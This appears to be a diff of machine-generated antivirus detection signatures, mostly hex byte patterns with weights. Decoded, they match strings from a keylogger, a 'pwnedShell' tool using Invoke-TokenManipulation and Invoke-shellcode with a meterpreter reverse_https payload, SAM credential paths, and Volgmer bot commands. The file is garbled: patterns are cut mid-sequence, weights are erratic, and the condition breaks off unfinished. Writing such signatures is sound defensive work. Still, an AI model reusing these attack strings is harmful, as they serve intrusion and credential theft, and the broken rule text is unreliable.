61 00 72 00 54 00 74 00 4e 00 01 00 12 01 6c 00 6c 00 64 00 2e 00 6c 00 6c 00 64 00 74 00 6e 00 01 00 14 01 6c 00 6c 00 64 } //744 - $a_00_12 = {65 00 73 00 75 00 01 00 18 01 6c 00 6c 00 64 00 2e 00 32 00 33 00 6c 00 65 00 6e 00 72 00 65 00 6b 00 01 00 18 01 41 00 79 00 72 00 61 00 72 00 62 00 69 00 4c 00 64 00 61 00 6f 00 4c 00 01 00 20 01 78 00 45 00 74 00 63 00 65 00 74 00 6f 00 72 00 50 00 6c 00 61 00 75 00 74 00 72 00 69 00 56 00 01 00 1c 01 41 00 73 00 73 00 65 00 63 00 6f 00 } //51 - $a_00_13 = {65 00 74 00 61 00 65 00 72 00 43 00 01 00 26 01 74 00 63 00 65 00 6a 00 62 00 4f 00 65 00 6c 00 67 00 6e 00 69 00 53 00 72 00 6f 00 46 00 74 00 69 00 61 00 57 00 01 00 22 01 73 00 77 00 6f 00 64 00 6e 00 69 00 57 00 64 00 61 00 65 00 72 00 } //114 - $a_00_14 = {6d 00 75 00 6e 00 45 00 01 00 1c 01 41 00 74 00 78 00 65 00 54 00 77 00 6f 00 64 00 6e 00 69 00 57 00 74 00 65 00 47 00 01 00 14 01 77 00 6f 00 64 00 6e 00 69 00 57 00 77 00 6f 00 68 00 53 00 01 00 32 01 73 00 73 00 65 00 63 00 6f 00 72 00 50 00 6e 00 } //104 - $a_00_15 = {74 00 61 00 6d 00 72 00 6f 00 66 00 6e 00 49 00 79 00 72 00 65 00 75 00 51 00 74 00 4e 00 01 00 22 01 79 00 72 00 6f 00 6d 00 65 00 4d 00 73 00 73 00 65 00 63 00 6f 00 72 00 50 00 64 00 61 00 65 00 52 00 01 00 1c 01 78 00 45 00 63 00 6f 00 6c 00 6c 00 41 00 6c 00 61 00 75 00 74 00 72 00 69 00 56 00 01 00 24 01 79 } //111 - $a_00_17 = {4d 00 73 00 73 00 65 00 63 00 6f 00 72 00 50 00 65 00 74 00 69 00 72 00 57 00 01 00 26 01 41 00 74 00 75 00 6f 00 65 00 6d 00 69 00 54 00 65 00 67 00 61 00 73 00 73 00 65 00 4d 00 64 00 6e 00 65 00 53 00 01 00 28 01 5c 00 32 00 33 00 6d 00 65 00 74 00 73 00 79 00 53 00 5c 00 73 00 77 00 6f 00 64 00 6e } //109 - $a_00_19 = {43 00 01 00 48 01 72 00 65 00 6c 00 6c 00 61 00 74 00 73 00 6e 00 49 00 20 00 65 00 6c 00 69 00 66 00 6f 00 72 00 50 00 20 00 72 00 65 00 67 00 61 00 6e 00 61 00 4d 00 20 00 } //92 - $a_00_20 = {69 00 74 00 63 00 65 00 6e 00 6e 00 6f 00 43 00 01 00 36 01 65 00 76 00 69 00 74 00 61 00 4e 00 32 00 33 00 6e 00 69 00 57 00 2e 00 32 00 33 00 6e 00 69 00 57 00 2e 00 74 00 66 00 6f 00 73 00 6f 00 72 00 63 00 69 00 4d 00 01 00 1e 01 65 00 6c 00 64 00 6e 00 61 00 48 00 65 00 6c 00 75 00 64 00 6f 00 4d 00 74 00 65 00 47 00 01 00 1c } //110 - $a_00_22 = {64 00 64 00 41 00 63 00 6f 00 72 00 50 00 74 00 65 00 47 00 00 00 78 3c 03 00 07 00 07 00 06 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 70 30 77 6e 65 64 53 68 65 6c 6c 78 36 34 00 02 00 fe 01 4f 00 71 00 30 00 32 00 41 00 42 00 2b 00 4c 00 43 00 41 00 41 00 41 00 41 00 41 00 41 00 41 00 42 00 41 00 44 00 73 00 } //101 - $a_00_23 = {6b 00 57 00 33 00 4c 00 69 00 4f 00 4c 00 51 00 42 00 75 00 52 00 55 00 73 00 51 00 52 00 31 00 48 00 37 00 33 00 31 00 67 00 48 00 4d 00 51 00 4f 00 6b 00 46 00 47 00 46 00 6e 00 76 00 76 00 72 00 64 00 70 00 2f 00 4f 00 34 00 73 00 70 00 36 } //47 - $a_00_25 = {41 00 49 00 49 00 6a 00 68 00 41 00 72 00 79 00 75 00 34 00 7a 00 36 00 50 00 56 00 4f 00 74 00 78 00 48 00 75 00 58 00 7a 00 33 00 2f 00 78 00 54 00 36 00 58 00 39 00 7a 00 61 00 2f 00 44 00 66 00 2f 00 48 00 73 00 61 00 2f 00 4a 00 54 00 2f 00 39 00 50 00 6a 00 67 00 62 00 2f 00 2b 00 6b 00 50 00 50 00 68 00 76 } //68 - $a_00_27 = {30 00 31 00 57 00 02 00 30 01 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 54 00 6f 00 6b 00 65 00 6e 00 4d 00 61 00 6e 00 69 00 70 00 75 00 6c 00 61 00 74 00 69 00 6f 00 6e 00 02 00 90 03 2d 00 43 00 72 00 65 00 61 00 74 00 65 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 22 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 22 00 20 00 } //106 - $a_00_28 = {73 00 65 00 72 00 6e 00 61 00 6d 00 65 00 20 00 22 00 6e 00 74 00 20 00 61 00 75 00 74 00 68 00 6f 00 72 00 69 00 74 00 79 00 5c 00 73 00 79 00 73 00 74 00 65 00 6d 00 22 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a } //45 - $a_90_29 = {02 00 86 03 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 53 00 68 00 65 00 6c 00 6c 00 20 00 77 00 69 00 74 00 68 00 20 00 4c 00 6f 00 63 00 61 00 6c 00 20 00 41 00 64 00 6d 00 69 00 6e 00 69 00 73 00 74 00 72 00 61 00 74 00 6f 00 72 00 20 00 70 00 72 00 69 00 76 00 69 00 6c 00 65 00 67 00 65 00 73 00 20 00 3a 00 29 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 } //11617 - $a_01_30 = {09 30 2d 39 41 2d 5a 61 2d 7a 90 00 02 00 a6 03 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 73 00 68 00 65 00 6c 00 6c 00 63 00 6f 00 } //-28672 - $a_00_31 = {20 00 2d 00 50 00 61 00 79 00 6c 00 6f 00 61 00 64 00 20 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 2f 00 6d 00 65 00 74 00 65 00 72 00 70 00 72 00 65 00 74 00 65 00 72 00 2f 00 72 00 65 00 76 00 65 00 72 00 73 00 65 00 5f 00 68 00 74 00 74 00 70 00 73 00 20 00 2d 00 4c 00 68 00 6f 00 73 00 74 00 20 } //100 - $a_01_32 = {09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 ff ff 0b 81 01 41 56 53 69 67 6e 61 74 75 72 } //-28672 - $a_00_34 = {04 00 0d 00 } //3 - $a_4c_35 = {3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 41 50 54 5f 4e 4b 5f 4d 41 4c 5f 4b 65 79 6c 6f 67 67 65 72 5f 55 6e 6b 6e 6f 77 6e 5f 4e 6f 76 31 39 5f 31 00 04 00 1f 01 43 4b 65 79 4c 6f } //8993 - $a_67_36 = {3a 4b 65 79 6c 6f 67 67 65 72 5f 57 72 69 74 65 46 69 6c 65 04 00 3e 03 4b 65 79 6c 6f 67 20 66 69 6c 65 20 69 73 20 73 61 76 65 64 20 3e 3e 3e 3e 3e 3e 20 25 73 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 04 00 3e 03 4d 69 63 43 61 70 20 66 69 6c 65 20 69 73 20 73 61 76 } //17511 - $a_3e_37 = {3e 3e 3e 3e 20 25 73 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 } //25701 - $a_2d_38 = {90 00 04 00 2f 03 63 72 35 63 72 33 33 6e 63 34 70 2e 64 61 74 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a } //23085 - $a_90_39 = {04 00 0f 01 73 74 61 74 75 73 00 00 5c 4b 65 79 6c 6f 67 04 00 28 01 5b 43 4d 69 63 43 61 70 44 6c 67 5d 2e 00 00 00 25 30 34 64 25 30 32 64 25 30 32 64 25 30 32 64 25 30 } //11568 - $a_77_40 = {76 04 00 56 01 25 73 00 00 25 73 5c 2a 2e 2a 00 00 61 62 00 00 5b 25 73 5d 20 75 70 6c 6f 61 64 20 66 61 69 6c 65 64 2e 00 72 62 00 00 5b } //25650 - $a_20_41 = {70 65 6e 20 66 61 69 6c 65 64 2e 00 00 00 2e 2e 00 00 5b 25 73 20 2d 3e 20 25 73 5d 20 63 6f 70 79 20 66 61 69 6c 65 64 01 00 30 03 25 73 5c 63 6d 64 2e 65 78 65 20 2f 63 20 25 73 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 } //29477 - $a_46_42 = {6c 65 20 } //23552 le - $a_6f_43 = {64 20 65 72 72 6f 72 20 6f 63 63 75 72 65 64 20 69 6e 20 5b 43 46 53 44 6c 67 3a 3a 50 72 6f 63 65 73 73 52 65 73 75 6c 74 4d 65 73 73 61 67 65 5d 2e 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 40 03 5c 53 41 4d 5c 44 6f 6d 61 69 6e 73 5c 41 63 63 6f 75 6e 74 5c 55 } //28789 - $a_73_44 = {4e 61 6d 65 73 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 35 03 25 73 5f 68 69 73 74 25 64 3a 25 64 3a 25 73 3a 25 73 3a 3a 3a 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 30 03 43 41 52 41 54 5f 57 73 32 5f 33 32 2e 64 6c 6c } //25971 - $a_09_45 = {61 } //6544 a - $a_2d_46 = {30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 3e 03 50 49 44 20 5b 25 73 5d 2c 20 6f 70 65 6e 20 70 72 6f 63 65 73 73 20 66 61 69 6c 65 64 2e 90 19 01 09 61 2d 7a 41 2d } //31277 - $a_39_47 = {09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 00 00 78 3f 03 00 02 00 02 00 0c 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 } //12378 - $a_52_48 = {74 68 2f 56 6f 6c 67 6d 65 72 5f 4d 61 6c 77 61 72 65 00 02 00 38 03 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 72 2f 35 2e 30 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 02 00 5c 03 5b 00 43 00 6d 00 64 00 5d 00 20 00 } //28257 - $a_00_49 = {43 00 4d 00 44 00 5f 00 42 00 4f 00 54 00 43 00 4d 00 44 00 5f 00 43 00 4f 00 4e 00 4e 00 4c 00 } //45 CMD_BOTCMD_CONNL - $a_00_50 = {5f 00 47 00 45 00 54 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 02 00 40 03 5b 54 65 73 74 43 6f 6e 6e 65 63 74 20 54 6f 20 42 6f 74 5d 20 2d 20 50 6f 72 74 } //79 - $a_25_51 = {90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 } //15648 - $a_01_52 = {62 35 30 61 33 33 38 32 36 34 32 32 36 62 36 64 35 37 63 31 39 33 36 64 39 64 62 31 34 30 62 61 37 34 61 32 38 39 33 30 32 37 30 61 30 38 33 33 35 33 36 34 35 61 39 62 35 31 38 36 36 31 66 34 66 63 65 61 31 36 30 64 37 } //2 b50a338264226b6d57c1936d9db140ba74a28930270a083353645a9b518661f4fcea160d7 - $a_03_53 = {25 00 73 00 69 00 67 00 66 00 78 00 25 00 63 00 25 00 63 00 25 00 63 00 2e 00 65 00 78 00 65 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a } //1 - $a_03_54 = {48 5f 25 73 5f 25 30 31 36 49 36 34 58 5f 25 30 34 64 25 30 32 64 25 30 32 64 25 30 32 64 25 30 32 64 25 30 32 64 2e 54 58 54 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 } //1 - $a_03_55 = {63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 00 20 00 25 00 73 00 20 00 3e 00 20 00 25 00 73 00 20 00 32 00 3e 00 26 00 31 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a } //1 + $a_e8_10 = {90 00 03 00 0d 01 8b 89 a4 01 00 00 8b 09 8b 00 8b 49 3c 03 00 0b 01 8b b6 a4 01 00 00 8b 36 83 c3 3c 03 00 0b 01 8b bf a4 01 00 00 8b 3f 83 c3 3c 03 00 09 01 8b 3f 8b 7f 3c 8d 7c df 78 03 00 09 01 8b 12 8b 52 3c 8d 54 da 78 03 00 08 01 8b 80 d8 01 00 00 8b 00 00 00 78 3c 03 00 07 00 07 00 06 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 70 30 77 6e 65 64 53 68 65 6c 6c 78 36 34 00 02 00 fe 01 4f 00 71 00 30 00 32 00 41 00 42 00 2b 00 4c 00 43 00 41 00 41 00 41 00 41 00 41 00 41 00 41 00 42 00 41 00 44 00 73 00 2f 00 51 00 6b 00 57 00 33 00 4c 00 } //744 + $a_00_11 = {4c 00 51 00 42 00 75 00 52 00 55 00 73 00 51 00 52 00 31 00 48 00 37 00 33 00 31 00 67 00 48 00 4d 00 51 00 4f 00 6b 00 46 00 47 00 46 00 6e 00 76 00 76 00 72 00 64 00 70 00 2f 00 4f 00 34 00 73 00 70 00 36 00 74 00 6b 00 44 00 69 00 41 } //105 + $a_00_13 = {41 00 72 00 79 00 75 00 34 00 7a 00 36 00 50 00 56 00 4f 00 74 00 78 00 48 00 75 00 58 00 7a 00 33 00 2f 00 78 00 54 00 36 00 58 00 39 00 7a 00 61 00 2f 00 44 00 66 00 2f 00 48 00 73 00 61 00 2f 00 4a 00 54 00 2f 00 39 00 50 00 6a 00 67 00 62 00 2f 00 2b 00 6b 00 50 00 50 00 68 00 76 00 39 00 53 00 6a 00 70 00 } //106 Aryu4z6PVOtxHuXz3/xT6X9za/Df/Hsa/JT/9Pjgb/+kPPhv9Sjp + $a_00_14 = {57 00 02 00 30 01 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 54 00 6f 00 6b 00 65 00 6e 00 4d 00 61 00 6e 00 69 00 70 00 75 00 6c 00 61 00 74 00 69 } //48 + $a_03_16 = {2d 00 43 00 72 00 65 00 61 00 74 00 65 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 22 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 22 00 20 00 2d 00 55 00 73 00 65 00 72 00 6e 00 61 00 6d 00 65 00 20 00 22 00 6e 00 74 00 20 00 61 00 75 00 74 00 68 00 6f 00 72 00 69 00 74 00 79 00 5c 00 73 00 79 00 73 00 74 00 65 00 6d 00 22 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a } //2 + $a_03_17 = {43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 53 00 68 00 65 00 6c 00 6c 00 20 00 77 00 69 00 74 00 68 00 20 00 4c 00 6f 00 63 00 61 00 6c 00 20 00 41 00 64 00 6d 00 69 00 6e 00 69 00 73 00 74 00 72 00 61 00 74 00 6f 00 72 00 20 00 70 00 72 00 69 00 76 00 69 00 6c 00 65 00 67 00 65 00 73 00 20 00 3a 00 29 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a } //2 + $a_03_18 = {49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 73 00 68 00 65 00 6c 00 6c 00 63 00 6f 00 64 00 65 00 20 00 2d 00 50 00 61 00 79 00 6c 00 6f 00 61 00 64 00 20 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 2f 00 6d 00 65 00 74 00 65 00 72 00 70 00 72 00 65 00 74 00 65 00 72 00 2f 00 72 00 65 00 76 00 65 00 72 00 73 00 65 00 5f 00 68 00 74 00 74 00 70 00 73 00 20 00 2d 00 4c 00 68 00 6f 00 73 00 74 00 20 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a } //2 + $a_81_19 = {41 56 53 69 67 6e 61 74 75 72 65 } //-1 AVSignature + $a_3e_20 = {00 04 00 04 00 0d 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 41 50 54 5f 4e 4b 5f 4d 41 4c 5f 4b 65 79 6c 6f 67 67 65 72 5f 55 6e 6b 6e 6f 77 6e 5f 4e 6f 76 31 39 5f 31 00 04 00 1f 01 43 4b 65 79 4c 6f 67 44 6c 67 3a 3a 4b 65 79 6c 6f 67 67 65 72 5f 57 72 69 74 65 46 69 6c 65 04 00 3e 03 4b 65 79 6c 6f 67 20 66 69 6c 65 20 69 73 } //0 + $a_76_21 = {64 20 3e 3e 3e 3e 3e 3e 20 25 73 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 04 00 3e 03 4d 69 63 43 61 70 20 66 69 6c 65 20 69 73 20 73 61 76 65 64 20 3e 3e 3e 3e 3e 3e 20 25 73 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 } //29472 + $a_7a_22 = {2d 5a 30 2d 39 90 00 04 00 2f 03 63 72 35 63 72 33 33 6e 63 34 70 2e 64 61 74 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 } //24841 + $a_2d_23 = {41 2d 5a 30 2d 39 90 00 04 00 0f 01 73 74 61 74 75 73 00 00 5c 4b 65 79 6c 6f 67 04 00 28 01 5b 43 4d 69 63 43 61 70 44 6c 67 5d 2e 00 00 00 25 30 34 64 25 30 32 64 25 30 32 64 25 30 32 64 25 30 32 64 2e 77 61 76 04 00 56 01 25 73 00 00 25 73 5c 2a 2e 2a 00 00 61 62 00 00 5b 25 73 5d 20 75 } //2305 + $a_61_24 = {20 66 61 69 6c 65 64 2e 00 72 62 00 00 5b 25 73 5d 20 6f 70 65 6e 20 66 61 69 6c 65 64 2e 00 00 00 2e 2e 00 00 5b 25 73 20 2d 3e 20 25 73 5d 20 63 6f 70 79 20 66 61 69 6c 65 64 01 00 30 03 25 73 5c 63 6d 64 2e 65 78 65 20 2f 63 20 25 73 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 } //27760 + $a_03_25 = {46 69 6c 65 20 75 70 6c 6f 61 64 20 65 72 72 6f 72 20 6f 63 63 75 72 65 64 20 69 6e 20 5b 43 46 53 44 6c 67 3a 3a 50 72 6f 63 65 73 73 52 65 73 75 6c 74 4d 65 73 73 61 67 65 5d 2e 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 } //1 + $a_03_26 = {5c 53 41 4d 5c 44 6f 6d 61 69 6e 73 5c 41 63 63 6f 75 6e 74 5c 55 73 65 72 73 5c 4e 61 6d 65 73 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 } //1 + $a_03_27 = {25 73 5f 68 69 73 74 25 64 3a 25 64 3a 25 73 3a 25 73 3a 3a 3a 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 } //1 + $a_03_28 = {43 41 52 41 54 5f 57 73 32 5f 33 32 2e 64 6c 6c 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 } //1 + $a_03_29 = {50 49 44 20 5b 25 73 5d 2c 20 6f 70 65 6e 20 70 72 6f 63 65 73 73 20 66 61 69 6c 65 64 2e 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 } //1 + $a_3f_30 = {00 02 00 02 00 0c 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 56 6f 6c 67 6d 65 72 5f 4d 61 6c 77 61 72 65 00 02 00 38 03 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 72 2f 35 2e 30 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 02 00 5c 03 5b 00 43 00 6d 00 64 00 5d 00 } //0 + $a_00_31 = {20 00 43 00 4d 00 44 00 5f 00 42 00 4f 00 54 00 43 00 4d 00 44 00 5f 00 43 00 4f 00 4e 00 4e 00 4c 00 4f 00 47 00 5f 00 47 00 45 00 54 } //32 + $a_01_32 = {09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 02 00 40 03 5b 54 65 73 74 43 6f 6e 6e 65 63 } //-28672 + $a_6f_33 = {42 6f 74 5d 20 2d 20 50 6f 72 74 20 3d 20 25 64 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 02 00 49 01 62 35 30 61 33 33 38 32 36 34 32 32 36 62 36 64 35 37 63 31 39 33 36 64 39 64 62 31 34 30 62 61 } //8308 + $a_32_34 = {39 33 30 32 37 30 61 30 38 33 33 35 33 36 34 35 61 39 62 35 31 38 36 36 31 66 34 66 63 65 61 31 36 30 64 37 01 00 40 03 25 00 73 00 69 00 67 00 66 00 78 00 25 00 63 00 25 00 63 00 25 00 63 00 2e 00 65 00 78 00 65 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 } //13367 + $a_2d_35 = {90 00 01 00 4a 03 48 5f 25 73 5f 25 30 31 36 49 36 34 58 5f 25 30 34 64 25 30 32 64 25 30 32 64 25 30 32 64 25 30 32 64 25 30 32 64 2e 54 58 54 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 4e 03 63 00 6d 00 64 00 2e 00 65 00 78 00 65 } //23085 + $a_00_37 = {25 00 73 00 20 00 3e 00 20 00 25 00 73 00 20 00 32 00 3e 00 26 00 31 00 90 2c 01 09 30 2d 39 41 } //99 + $a_2d_38 = {90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 32 03 25 73 5c 64 6c 6c 63 61 63 68 65 5c 25 73 2e 64 6c 6c 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 2a 03 43 6f 6e 64 20 46 61 69 6c 2e 90 19 01 09 61 2d 7a 41 2d 5a } //23085 + $a_90_39 = {01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 2b 03 54 68 65 20 25 73 20 25 73 25 73 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 } //11568 + $a_2d_40 = {90 00 01 00 36 03 25 73 20 22 25 73 22 25 73 20 22 25 73 22 20 25 73 20 22 25 73 22 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 } //23085 + $a_7a_41 = {2d 5a 30 2d 39 90 00 01 00 2e 03 44 4c 4c 5f 53 70 69 64 65 72 2e 64 6c 6c 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 } //24841 + $a_7a_42 = {2d 5a 30 2d 39 90 00 00 00 78 41 03 00 03 00 03 00 0b 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 41 50 54 } //24841 + $a_4c_43 = {53 4c 4f 54 48 46 55 4c 4d 45 44 49 41 5f 4f 63 74 32 30 5f 31 00 03 00 5b 03 25 73 26 69 3d 25 64 00 48 54 54 50 2f 31 2e 31 00 00 00 00 50 4f 53 54 00 00 00 00 43 6f 6e 74 65 6e 74 2d 4c 65 6e } //19807 + $a_3a_44 = {25 64 00 00 5c 00 53 00 65 00 74 00 75 00 70 00 55 00 69 90 04 05 01 00 25 00 73 00 25 00 73 00 5f 00 25 00 64 00 2e 00 64 00 61 00 74 90 00 03 00 41 03 2f 76 3f 6d 3d 00 00 00 35 30 31 00 32 30 30 00 2a 00 2e 00 2a 00 00 00 25 00 73 90 04 05 01 00 53 00 65 00 44 00 65 00 62 00 75 00 67 00 50 00 72 00 69 00 76 } //29799 + $a_00_46 = {65 90 00 03 00 36 03 25 00 73 00 7c 00 25 00 73 00 7c 00 25 00 73 00 7c 00 25 00 73 00 00 00 5c 00 46 00 69 00 6c 00 74 00 65 00 72 00 33 00 2e 00 6a 00 70 00 67 90 0a 30 00 00 90 00 01 00 25 01 25 74 65 6d 70 25 00 00 25 73 5c 25 73 2e 65 78 65 00 00 00 25 74 65 6d 70 25 00 00 25 73 5c 25 73 2e 65 78 65 01 } //101 + $a_61_47 = {70 } //17408 p + $a_61_48 = {69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 2c 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 68 74 6d 6c 00 00 25 73 26 69 3d 25 64 00 48 54 54 50 2f 31 2e 31 00 00 00 00 50 4f 53 54 01 00 36 03 25 00 73 00 25 00 73 00 5f 00 25 00 64 00 2e 00 64 00 61 00 74 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a } //26988 + $a_00_49 = {90 2c } //2448 + $a_2d_50 = {41 2d 5a 61 2d 7a 90 00 01 00 4c 03 4c 00 6f 00 63 00 61 00 6c 00 20 00 53 00 65 00 63 00 75 00 72 00 69 00 74 00 79 00 20 00 50 00 72 00 6f 00 } //2305 + $a_00_51 = {73 00 73 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 83 03 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 36 2e 31 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 33 37 2e 33 36 20 28 } //99 + $a_4d_52 = {2c 20 6c 69 6b 65 20 47 65 63 6b 6f 29 20 43 68 72 6f 6d 65 2f 36 38 2e 30 2e 33 34 34 30 2e 37 35 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 34 03 47 00 6c 00 6f 00 62 00 61 00 6c 00 25 00 73 } //18507 + $a_09_54 = {30 } //11408 0 + $a_2d_55 = {61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 31 03 45 78 74 4b 65 79 6c 6f 67 67 65 72 53 74 61 72 74 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 } //14637 condition: - ((#a_54_0 & 1)*18467+(#a_03_2 & 1)*13057+(#a_00_3 & 1)*-27520+(#a_02_4 & 1)*912+(#a_03_5 & 1)*139+(#a_d9_6 & 1)*2050+(#a_80_7 & 1)*786+(#a_35_9 & 1)*29441+(#a_e8_10 & 1)*744+(#a_00_12 & 1)*51+(#a_00_13 & 1)*114+(#a_00_14 & 1)*104+(#a_00_15 & 1)*111+(#a_00_17 & 1)*109+(#a_00_19 & 1)*92+(#a_00_20 & 1)*110+(#a_00_22 & 1)*101+(#a_00_23 & 1)*47+(#a_00_25 & 1)*68+(#a_00_27 & 1)*106+(#a_00_28 & 1)*45+(#a_90_29 & 1)*11617+(#a_01_30 & 1)*-28672+(#a_00_31 & 1)*100+(#a_01_32 & 1)*-28672+(#a_00_34 & 1)*3+(#a_4c_35 & 1)*8993+(#a_67_36 & 1)*17511+(#a_3e_37 & 1)*25701+(#a_2d_38 & 1)*23085+(#a_90_39 & 1)*11568+(#a_77_40 & 1)*25650+(#a_20_41 & 1)*29477+(#a_46_42 & 